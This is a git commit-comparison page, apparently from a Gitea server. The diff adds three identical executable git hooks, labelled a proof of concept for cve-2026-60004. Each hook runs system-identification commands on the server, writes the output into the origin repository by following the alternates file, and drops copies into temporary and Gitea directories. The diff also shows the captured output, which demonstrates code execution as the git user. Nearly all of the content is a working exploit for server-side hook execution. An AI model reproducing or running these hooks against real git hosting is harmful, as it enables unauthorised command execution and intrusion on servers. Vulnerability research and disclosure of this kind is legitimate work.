Compare commits

..

No commits in common. "output-4bd63421" and "main" have entirely different histories.

5 changed files with 79 additions and 4 deletions

1
README.md Normal file
View File

@ -0,0 +1 @@
init

26
hooks/post-applypatch Executable file
View File

@ -0,0 +1,26 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
case "$alt" in
/*) ;;
*) alt="$git_dir/objects/$alt" ;;
esac
origin_git=${alt%/objects}
OUT=$(/bin/sh -c 'id; uname -a; whoami; hostname' 2>&1)
st=$?
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
if [ -n "$blob" ]; then
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
git --git-dir="$origin_git" update-ref refs/heads/output-4bd63421 "$commit" 2>/dev/null
fi
if [ -d "$origin_git" ]; then
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
fi
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
if [ -d "$d" ] && [ -w "$d" ]; then
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
fi
done
exit 0

26
hooks/post-index-change Executable file
View File

@ -0,0 +1,26 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
case "$alt" in
/*) ;;
*) alt="$git_dir/objects/$alt" ;;
esac
origin_git=${alt%/objects}
OUT=$(/bin/sh -c 'id; uname -a; whoami; hostname' 2>&1)
st=$?
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
if [ -n "$blob" ]; then
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
git --git-dir="$origin_git" update-ref refs/heads/output-4bd63421 "$commit" 2>/dev/null
fi
if [ -d "$origin_git" ]; then
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
fi
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
if [ -d "$d" ] && [ -w "$d" ]; then
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
fi
done
exit 0

26
hooks/pre-applypatch Executable file
View File

@ -0,0 +1,26 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
case "$alt" in
/*) ;;
*) alt="$git_dir/objects/$alt" ;;
esac
origin_git=${alt%/objects}
OUT=$(/bin/sh -c 'id; uname -a; whoami; hostname' 2>&1)
st=$?
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
if [ -n "$blob" ]; then
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
git --git-dir="$origin_git" update-ref refs/heads/output-4bd63421 "$commit" 2>/dev/null
fi
if [ -d "$origin_git" ]; then
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
fi
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
if [ -d "$d" ] && [ -w "$d" ]; then
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
fi
done
exit 0

4
output
View File

@ -1,4 +0,0 @@
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)
Linux a29dad87467e 6.12.111+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.111-1 (2026-09-28) x86_64 Linux
git
a29dad87467e